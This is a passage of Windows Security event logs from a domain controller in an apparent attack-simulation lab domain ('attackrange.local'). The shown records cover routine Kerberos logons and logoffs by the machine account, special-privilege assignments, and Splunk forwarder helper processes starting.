	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49234

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:47:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256783
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45E80C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:47:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256782
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45E7A0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:47:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256781
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x45E7A0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49233

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:47:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256780
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45E7A0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:47:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256787
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x710
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:47:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256786
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x784
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256788
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256800
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45FE54

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256799
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45FF62

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256798
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45FFAB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256797
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x460020
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49238

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256796
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x460020

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256795
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x45FFAB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		49237

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256794
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45FFAB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256793
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x45FF62
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256792
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45FF62

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256791
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x45FE54
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49236

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256790
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45FE54

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256789
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:47:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256801
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:47:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256802
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:47:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256803
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1228
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:47:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256804
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x460020

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:47:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256807
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x462129

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:47:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256806
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x462129
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
